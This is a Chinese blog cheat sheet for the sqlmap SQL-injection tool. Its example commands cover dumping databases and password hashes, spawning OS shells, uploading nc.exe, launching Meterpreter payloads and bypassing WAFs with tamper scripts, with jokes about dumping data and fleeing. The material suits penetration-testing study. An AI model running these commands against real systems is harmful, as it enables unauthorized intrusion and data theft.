写点什么

干货来了!SQLMAP 速查表(建议收藏备用)

用户头像
Machine Gun
关注
发布于: 2021 年 05 月 11 日

使用经验总结


在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:

检索 DBMS 的指纹特征、数据库、host 值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用 count 来统计条目等操作。dump 和 dump-all 就是脱裤和全脱的区别,dump 某表的十条八条可能没事儿,dump-all 注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D-T-C 来制定索要枚举的库、表、和列,使用-X 来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X 可大大节省时间。–exclude-sysdbs 参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count 的使用和枚举信息的使用建议搭配此参数来排除系统库。当我们不想跑路的时候,那么请使用下面内容:

–start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出,如:–start=1     –stop=LIMITSTOP    Last query output entry to retrieve指定从第几行停止输出–stop=10 –first=FIRSTCHAR   First query output word character to retrieve指定从第几个字符开始输出–first 1     –last=LASTCHARLast query output word character to retrieve指定从第几个字符停止输出–last10
复制代码

对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求 root。针对文件系统的读写:对–file-read 配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是 mysql、postgresql 和 sqlserver。写入也是同样,往远端后台的 DBMS 里写入一个本地文件,可通过–file-dest 指定绝对文件路径。” 当然和上面可以配合使用,当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的 sys_exec()和 sys_eval(),甚至 xp_cmdshell 存储过程 –os-shell 参数也可以模拟一个真实的 shell,可以输入你想执行的命令。Meterpreter 配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path 配合 Meterpreter 使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立 TCP 连接,这个连接可以是一个交互式命令行的 Meterpreter 会话,sqlmap 根据 Metasploit 生成 shellcode,四种方式执行它:

1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
复制代码

当前用户有权限读取包含用户密码的权限时,sqlmap 会现列举出用户,然后列出 hash,并尝试破解。

sqlmap.py -u ” http://127.0.0.1/get_int.php?id=1 ” –passwords
复制代码

使用技巧


基础检测语法

sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 024
复制代码

批量检测

“sqlmap.py -m target.txt”
复制代码

注意 target.txt 跟 sqlmap 在同一个目录下。

获取表中的数据个数

sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb
复制代码

站点爬取

sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3
复制代码

使用 hex 避免字符编码导致数据丢失

sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors
复制代码

模拟测试手机环境站点

python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile
复制代码

智能判断测试

sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart
复制代码

结合 burpsuite 进行注入

sqlmap.py -r burpsuite 抓包.txt
复制代码

sqlmap 自动填写表单注入

sqlmap.py -u URL –forms
复制代码

执行 shell 命令

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/
复制代码

延时注入

sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/
复制代码

实用技巧

这些选项可用于调整具体的 SQL 注入测试

–technique=TECH    SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 暴力猜测列的字符数
–union-from=UFROM SQL注入UNION查询使用的格式
–dns-domain=DNS.. DNS泄露攻击使用的域名
–second-order=S.. URL搜索产生的结果页面
复制代码

枚举信息

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的 SQL 语句。

-a, –all           获取所有信息
-b, –banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P.. Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件
复制代码

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

   –file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
复制代码

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

–os-cmd=OSCMD   执行操作系统命令(OSCMD)
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH MetasploitFramework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
复制代码

Windows 注册表访问

这些选项可以被用来访问后端数据库管理系统 Windows 注册表

–reg-read          读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型
复制代码

Tamper 功能



序号    脚本名称    注释1    0x2char    将每个编码后的字符转换为等价表达2    apostrophemask    单引号替换为Utf8字符3    apostrophenullencode    替换双引号为%00%274    appendnullbyte    有效代码后添加%005    base64encode    使用base64编码6    between    比较符替换为between7    bluecoat    空格替换为随机空白字符,等号替换为like8    chardoubleencode    双url编码9    charencode    将url编码10    charunicodeencode    使用unicode编码11    charunicodeescape    以指定的payload反向编码未编码的字符12    commalesslimit    改变limit语句的写法13    commalessmid    改变mid语句的写法14    commentbeforeparentheses    在括号前加内联注释15    concat2concatws    替换CONCAT为CONCAT_WS16    equaltolike    等号替换为like17    escapequotes    双引号替换为\\\\18    greatest    大于号替换为greatest19    halfversionedmorekeywords    在每个关键字前加注释20    htmlencode    html编码所有非字母和数字的字符21    ifnull2casewhenisnull    改变ifnull语句的写法22    ifnull2ifisnull    替换ifnull为if(isnull(A))23    informationschemacomment    标示符后添加注释24    least    替换大于号为least25    lowercase    全部替换为小写值26    modsecurityversioned    空格替换为查询版本的注释27    modsecurityzeroversioned    添加完整的查询版本的注释28    multiplespaces    添加多个空格29    nonrecursivereplacement    替换预定义的关键字30    overlongutf8    将所有字符转义为utf831    overlongutf8more    以指定的payload转换所有字符32    percentage    每个字符前添加%33    plus2concat    将加号替换为concat函数34    plus2fnconcat    将加号替换为ODBC函数{fn CONCAT()}35    randomcase    字符大小写随机替换36    randomcomments    /**/分割关键字37    securesphere    添加某字符串38    sp_password    追加sp_password字符串39    space2comment    空格替换为/**/40    space2dash    空格替换为–加随机字符41    space2hash    空格替换为#加随机字符42    space2morecomment    空格替换为/**_**/43    space2morehash    空格替换为#加随机字符及换行符44    space2mssqlblank    空格替换为其他空符号45    space2mssqlhash    空格替换为%23%0A46    space2mysqlblank    空格替换为其他空白符号47    space2mysqldash    空格替换为–%0A48    space2plus    空格替换为加号49    space2randomblank    空格替换为备选字符集中的随机字符50    symboliclogical    AND和OR替换为&&和||51    unionalltounion    union all select替换为union select52    unmagicquotes    宽字符绕过GPC53    uppercase    全部替换为大写值54    varnish    添加HTTP头55    versionedkeywords    用注释封装每个非函数的关键字56    versionedmorekeywords    使用注释绕过57    xforwardedfor    添加伪造的HTTP头
复制代码

MYSQL 常用 Tamper

版本    可用tamper编号    脚本名称4/5.0/5.5    1    0x2char6    between9    charencode16    concat2concatws18    greatest24    least25    lowercase35    randomcase39    space2comment49    space2randomblank53    uppercase5.1    7    bluecoat46    space2mysqlblank5.0/5.5    12    commalesslimit13    commalessmid21    ifnull2casewhenisnull22    ifnull2ifisnull42    space2morecomment5.0    15    concat2concatws26    modsecurityversioned27    modsecurityzeroversioned4.0/5.0    41    space2hash5.1.56    10    charunicodeencode5.1.56/5.5.11    32    percentage56    versionedmorekeywords4.0.18/5.0.22    19    halfversionedmorekeywords4.0.18/5.1.56/5.5.11    55    versionedkeywords5.1.41    43    space2morehash未指定版本    14    commentbeforeparentheses40    space2dash45    space2mssqlhash47    space2mysqldash
复制代码

SQLServer 常用 Tamper

版本    可用tamper编号    脚本名称2005/2000    10    charunicodeencode32    percentage44    space2mssqlblank2005    6    between9    charencode16    equaltolike25    lowercase35    randomcase39    space2comment49    space2randomblank53    uppercase2002+    33    plus2concat2008+    34    plus2fnconcat未指定    14    commentbeforeparentheses
复制代码

ACCESS 常用 Tamper

版本    可用tamper编号    脚本名称未指定    4    appendnullbyte
复制代码

Oracle 常用 Tamper

版本    可用tamper编号    脚本名称10g    6    between9    charencode14    commentbeforeparentheses18    greatest24    least25    lowercase35    randomcase39    space2comment49    space2randomblank53    uppercase
复制代码

PostgreSQL 常用 Tamper

版本    可用tamper编号    脚本名称8.3/8.4/9.0    6    between9    charencode18    greatest24    least25    lowercase39    space2comment49    space2randomblank53    uppercase9.0    32    percentage9.0.3    10    charunicodeencode未指定    14    commentbeforeparentheses35    randomcase
复制代码

SQLite 常用 Tamper

版本    可用tamper编号    脚本名称未指定    40    space2dash
复制代码

未知适用范围常用 Tamper

若以上脚本未解决问题,可尝试使用一下脚本。

版本    可用tamper编号    脚本名称     2    apostrophemask3    apostrophenullencode5    base64encode8    chardoubleencode11    charunicodeescape17    escapequotes20    htmlencode23    informationschemacomment28    multiplespaces29    nonrecursivereplacement30    overlongutf831    overlongutf8more36    randomcomments37    securesphere48    space2plus50    symboliclogical51    unionalltounion52    unmagicquotes54    varnish57    xforwardedfor
复制代码

优化功能


这些选项可用于优化 sqlmap 性能

-o               打开所有的优化开关
–predict-output 预测普通查询输出
–keep-alive 使用持久HTTP(S)连接
–null-connection 获取页面长度
–threads=THREADS 当前http(s)最大请求数 (默认 1)
复制代码

指定注入


这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

-p TESTPARAMETER    可测试的参数
–skip=SKIP 跳过对给定参数的测试
–skip-static 跳过测试不显示为动态的参数
–param-exclude=.. 使用正则表达式排除参数进行测试(e.g. “ses”)
–dbms=DBMS 强制后端的DBMS为此值
–dbms-cred=DBMS.. DBMS认证凭证(user:password)
–os=OS 强制后端的DBMS操作系统为这个值
–invalid-bignum 使用大数字使值无效
–invalid-logical 使用逻辑操作使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷铸造机制
–no-escape 关闭字符串逃逸机制
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
复制代码

小坑


在批量扫验证的时候,发现不同版本号扫描的结果不一样,1.2.11.6 版本可以扫出来数据,但是 1.3.4 版本就没办法,在网上有师傅指出问题出在:

经过分析,两坑如下:(1)v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。(2)v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,
复制代码


用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
干货来了!SQLMAP速查表(建议收藏备用)